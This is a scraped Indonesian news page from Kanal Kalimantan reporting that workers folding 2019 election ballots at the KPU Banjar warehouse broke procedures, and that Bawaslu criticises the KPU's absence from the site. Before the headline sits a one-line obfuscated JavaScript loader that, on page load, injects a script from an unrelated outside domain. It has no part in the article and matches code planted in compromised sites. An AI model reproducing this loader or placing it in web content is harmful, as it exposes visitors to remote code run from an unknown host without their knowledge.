(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pekerja Pelipatan Surat Suara di KPU Banjar Tak Taati SOP


MARTAPURA, Setelah sebanyak 776.174 lembar surat suara tiba di gudang logistik tambahan Komisi Pemilihan Umum (KPU) Kabupaten Banjar di Jalan Jeruk Sungai Ulin Banjarbaru pada Kamis (28/2) siang. Kini giliran penyortiran dan pelipatan surat suara mulai dilakukan.

Melibatkan 184 orang petugas, surat suara pemilih 2019 sudah mulai dilipat sejak Jum’at (1/3) kemarin. Informasi yang didapat Kanal Kalimantan, hari pertama proses pengerjaan pelipatan banyak pekerja yang menyalahi tata tertib (SOP) yang ditetapkan KPU Banjar, seperti membawa tas, telpon genggam dan makanan minuman.

Ketua KPU Banjar Muhaimin tidak memungkiri adanya beberapa petugas pekerja di hari pertama pelipatan surat suara kemarin ada yang menyalahi aturan. Walaupun sebelumnya sudah diberikan arahan dan penyelasan tentang SOP tersebut.

“Hari pertama Alhamdulilah berlangsung lancar, walaupun ada yang tidak menaati SOP yang sudah kita tetapkan, seperti membawa tas, hingga ada yang membawa anak-anak, kedepan nampaknya harus kita tegaskan lagi,” akunya.

Adapun surat suara yang dilipat tersebut meliputi 2 jenis surat suara suara Pemilu DPR Dapil Kalsel 1 berjumlah 846 packs, Surat Suara Pemilu DPRD Kabupaten Banjar Dapil 1 ada 176 packs, Dapil 2 ada 164 packs, Dapil 3 ada 145 packs dan Dapil 4 dengan jumlah 203 packs. Untuk setiap packs berisikan 500 lembar surat suara.

Sementara itu anggota Bawaslu Banjar Ramlianoor mengatakan, melihat secara umum pelipatan surat suara di hari pertama mengakui banyak sekali pelanggaran-pelanggaran terhadap SOP yang tidak diindahkan.

“Selain pelanggaran, ada yang membawa anak hingga makan minum dan membawa tas, ada juga petugas pelipatan surat suara yang tidak menyortir surat suara, tanpa dibuka langsung dilipat, nah itu yang kita sesalkan, sementara pengawasan dari KPU sendiri tidak ada,” paparnya.

Ramli menegaskan, seharusnya KPU sebagai pihak penanggung jawab pelipatan surat suara harusnya berada di lokasi, sehingga dapat mengkontrol pekerjaan semua petugas yang sedang melakukan pelipatan surat suara tersbut.

“Kita sampaikan ke KPU Banjar agar hari berikutnya bisa ditertibkan dan ditugaskan sesuai dengan SOP yang ada,” ujarnya.

Ditegaskannya pentingnya mencegah dan meminimalisir kesalahan, karena dikhawatirkan bisa merusak dari pada surat suara tersebut. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

15 menit ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

6 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

This website uses cookies.